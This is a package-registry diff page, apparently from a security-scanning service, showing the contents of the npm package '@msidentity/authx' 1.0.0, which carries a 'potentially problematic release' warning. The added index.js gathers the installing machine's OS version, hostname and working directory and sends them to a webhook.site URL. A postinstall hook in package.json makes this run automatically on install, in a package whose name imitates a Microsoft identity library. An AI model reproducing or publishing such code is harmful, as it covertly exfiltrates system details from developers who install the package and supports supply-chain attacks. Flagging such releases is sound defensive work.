@msidentity/authx 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @msidentity/authx might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +28 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,28 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const process = require('process');
4
+
5
+ const osname = os.type();
6
+ const release = os.release();
7
+ const hostname = os.hostname();
8
+
9
+ const cwd = process.cwd();
10
+
11
+ const osname_str = `${osname} ${release}`;
12
+
13
+ const url = `https://webhook.site/43138e72-0a80-4035-8cfe-734dcf693929?1=${encodeURIComponent(osname_str)}&2=${encodeURIComponent(cwd)}&3=${encodeURIComponent(hostname)}`;
14
+
15
+ https.get(url, (res) => {
16
+ let data = '';
17
+
18
+ res.on('data', (chunk) => {
19
+ data += chunk;
20
+ });
21
+
22
+ res.on('end', () => {
23
+ console.log('Response:', data);
24
+ });
25
+
26
+ }).on('error', (err) => {
27
+ console.error('Error:', err.message);
28
+ });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@msidentity/authx",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "license": "MIT",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "dependencies": {
10
+ "@msidentity/authx": "file:msidentity-authx-1.0.0.tgz"
11
+ }
12
+ }